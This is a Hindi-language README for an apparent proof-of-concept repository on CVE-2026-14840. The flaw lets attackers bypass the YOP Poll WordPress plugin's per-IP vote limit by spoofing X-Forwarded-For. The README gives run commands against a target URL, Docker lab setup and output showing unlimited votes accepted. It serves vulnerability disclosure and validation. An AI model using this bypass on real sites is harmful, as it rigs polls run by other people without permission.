
WordPress प्लगइन में स्पूफ़ किए गए X-Forwarded-For हेडर का उपयोग करके वोट-सीमा बायपास के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट; अधिकृत WordPress इंस्टेंस पर CVE-2026-14840 को मान्य करने के लिए एक Docker लैब शामिल है।
लेखक: nullwhisper
उपयोग-मामला: केवल अधिकृत सुरक्षा अनुसंधान / भेद्यता सत्यापन के लिए।
YOP Poll प्लगइन संस्करण < 7.0.6 एक-वोट-प्रति-IP सीमा लागू करता है। समस्या यह है कि क्लाइंट IP प्राप्त करने के लिए यह REMOTE_ADDR से पहले HTTP_CLIENT_IP और HTTP_X_FORWARDED_FOR की जाँच करता है। ये दोनों हेडर हमलावर-नियंत्रित हैं, इसलिए एक अनधिकृत उपयोगकर्ता हर अनुरोध पर नया IP नकली बना सकता है और असीमित वोट डाल सकता है।
.
├── cve_2026_14840_poc.py # Main PoC
├── lab/
│ ├── docker-compose.yml # WordPress lab
│ └── setup.php # Creates a poll + public test page
├── requirements.txt
└── README.md
pip3 install -r requirements.txt
python3 cve_2026_14840_poc.py -u https://target.com/page-with-poll -n 10
-n डाले जाने वाले वोटों की संख्या है। यदि एक से अधिक वोट स्वीकार होते हैं, तो टार्गेट भेद्य है।
जब साइट WordPress सादे permalink का उपयोग करती है और /wp-json/... HTML लौटाता है, तो स्क्रिप्ट स्वचालित रूप से ?rest_route=/yop-poll/v1/votes पर फ़ॉल बैक करती है।
भेद्य प्लगइन डाउनलोड करें (प्लगइन बाइनरी को पुनर्वितरित न करें):
mkdir -p lab/yop-poll
cd lab/yop-poll
wget https://downloads.wordpress.org/plugin/yop-poll.7.0.5.zip
unzip yop-poll.7.0.5.zip && rm yop-poll.7.0.5.zip
cd ../..
लैब शुरू करें:
cd lab
docker compose up -d
http://127.0.0.1:8090 पर WordPress इंस्टॉलर पूरा करें।
पोल और टेस्ट पेज बनाएँ:
docker exec -i lab-wpcli-1 php /tmp/setup.php
PoC चलाएँ:
python3 cve_2026_14840_poc.py -u 'http://127.0.0.1:8090/?page_id=4' -n 5
WordPress 6.8 + YOP Poll 7.0.5 पर डिफ़ॉल्ट सादे permalink के साथ परीक्षण किया गया।
एक ही IP तीन बार — सीमा काम करती है:
#1 201 -> Vote recorded successfully.
#2 403 -> You have already voted on this poll.
#3 403 -> You have already voted on this poll.
हर अनुरोध पर अलग IP X-Forwarded-For के माध्यम से — बायपास काम करता है:
#1 201 -> Vote recorded successfully.
#2 201 -> Vote recorded successfully.
#3 201 -> Vote recorded successfully.
wp_yoppoll_votes तालिका प्रति नकली IP एक पंक्ति बढ़ती है, जो पुष्टि करती है कि प्रति-IP सीमा बायपास हो गई है।
इस रिपॉज़िटरी में केवल PoC और लैब ऑर्केस्ट्रेशन फ़ाइलें हैं। YOP Poll प्लगइन GPL-2.0+ है, लेकिन पूरी प्रति वितरित करना अनावश्यक है, रिपॉज़िटरी को भारी बनाता है, और समस्याएँ पैदा कर सकता है। अपनी खुद की लैब के लिए WordPress.org से संस्करण 7.0.5 डाउनलोड करें।
यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और अनुसंधान के लिए है। इसका उपयोग उन प्रणालियों पर न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास नहीं है। लेखक इस कोड के कारण होने वाले दुरुपयोग या क्षति के लिए ज़िम्मेदार नहीं है।